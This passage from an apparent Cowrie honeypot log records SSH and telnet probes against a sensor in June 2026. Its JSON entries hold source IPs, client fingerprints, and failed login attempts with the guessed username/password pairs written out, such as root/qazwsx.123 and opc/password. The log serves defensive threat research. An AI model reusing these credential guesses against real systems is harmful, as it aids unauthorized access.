{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:18.809138Z","src_ip":"152.32.214.226","session":"6c761ae3d3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":50068,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0b8f121c2a3","protocol":"ssh","message":"New connection: 181.188.176.242:50068 (10.17.0.5:22) [session: b0b8f121c2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:23.319508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:23.324492Z","src_ip":"181.188.176.242","session":"b0b8f121c2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:23.497187Z","src_ip":"181.188.176.242","session":"b0b8f121c2a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx.123","message":"login attempt [root/qazwsx.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:24.191984Z","src_ip":"181.188.176.242","session":"b0b8f121c2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:25.364830Z","src_ip":"181.188.176.242","session":"b0b8f121c2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":60748,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4f331a4474e","protocol":"ssh","message":"New connection: 14.63.196.175:60748 (159.203.135.109:22) [session: a4f331a4474e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:35.153540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:35.158081Z","src_ip":"14.63.196.175","session":"a4f331a4474e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:35.359335Z","src_ip":"14.63.196.175","session":"a4f331a4474e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales1","password":"sales1123","message":"login attempt [sales1/sales1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:36.198674Z","src_ip":"14.63.196.175","session":"a4f331a4474e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:37.404242Z","src_ip":"14.63.196.175","session":"a4f331a4474e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5846,"dst_ip":"10.17.0.5","dst_port":22,"session":"305643b4fc5b","protocol":"ssh","message":"New connection: 196.188.93.169:5846 (10.17.0.5:22) [session: 305643b4fc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:40.718720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:40.724267Z","src_ip":"196.188.93.169","session":"305643b4fc5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:40.894756Z","src_ip":"196.188.93.169","session":"305643b4fc5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"password","message":"login attempt [opc/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:41.610409Z","src_ip":"196.188.93.169","session":"305643b4fc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:42.784041Z","src_ip":"196.188.93.169","session":"305643b4fc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.1791934967041,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:45.041866Z","src_ip":"128.199.8.54","session":"4fa8556af56c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50530,"dst_ip":"159.203.135.109","dst_port":23,"session":"2748fe2e7b2f","protocol":"telnet","message":"New connection: 128.199.8.54:50530 (159.203.135.109:23) [session: 2748fe2e7b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:45:55.498391Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":13827,"dst_ip":"10.17.0.5","dst_port":22,"session":"63894089b13d","protocol":"ssh","message":"New connection: 36.92.41.115:13827 (10.17.0.5:22) [session: 63894089b13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:31.188741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:31.193551Z","src_ip":"36.92.41.115","session":"63894089b13d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:31.456477Z","src_ip":"36.92.41.115","session":"63894089b13d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9090opop","message":"login attempt [root/9090opop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:32.537830Z","src_ip":"36.92.41.115","session":"63894089b13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:33.808261Z","src_ip":"36.92.41.115","session":"63894089b13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63684630393982,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:38.135108Z","src_ip":"128.199.8.54","session":"2748fe2e7b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":39748,"dst_ip":"10.17.0.5","dst_port":22,"session":"612f5a630418","protocol":"ssh","message":"New connection: 177.85.247.230:39748 (10.17.0.5:22) [session: 612f5a630418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:40.034473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:40.042389Z","src_ip":"177.85.247.230","session":"612f5a630418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:40.145448Z","src_ip":"177.85.247.230","session":"612f5a630418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:40.592532Z","src_ip":"177.85.247.230","session":"612f5a630418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:46:41.698695Z","src_ip":"177.85.247.230","session":"612f5a630418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":40334,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ccadc8542a","protocol":"ssh","message":"New connection: 163.7.9.84:40334 (10.17.0.5:22) [session: e5ccadc8542a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:02.385030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:02.390837Z","src_ip":"163.7.9.84","session":"e5ccadc8542a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:02.641909Z","src_ip":"163.7.9.84","session":"e5ccadc8542a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testusr","password":"testusr","message":"login attempt [testusr/testusr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:03.677054Z","src_ip":"163.7.9.84","session":"e5ccadc8542a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:04.932346Z","src_ip":"163.7.9.84","session":"e5ccadc8542a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":59000,"dst_ip":"159.203.135.109","dst_port":22,"session":"985a988c68e7","protocol":"ssh","message":"New connection: 152.32.214.226:59000 (159.203.135.109:22) [session: 985a988c68e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:09.004903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:09.011321Z","src_ip":"152.32.214.226","session":"985a988c68e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:09.225169Z","src_ip":"152.32.214.226","session":"985a988c68e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super","message":"login attempt [root/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:10.117071Z","src_ip":"152.32.214.226","session":"985a988c68e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:11.334190Z","src_ip":"152.32.214.226","session":"985a988c68e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":48446,"dst_ip":"10.17.0.5","dst_port":22,"session":"d643120bf78b","protocol":"ssh","message":"New connection: 45.78.204.254:48446 (10.17.0.5:22) [session: d643120bf78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:40.052656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:40.057648Z","src_ip":"45.78.204.254","session":"d643120bf78b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:40.303494Z","src_ip":"45.78.204.254","session":"d643120bf78b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":34418,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a883231ab6","protocol":"ssh","message":"New connection: 87.106.47.28:34418 (10.17.0.5:22) [session: b9a883231ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:40.324318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:40.328894Z","src_ip":"87.106.47.28","session":"b9a883231ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp5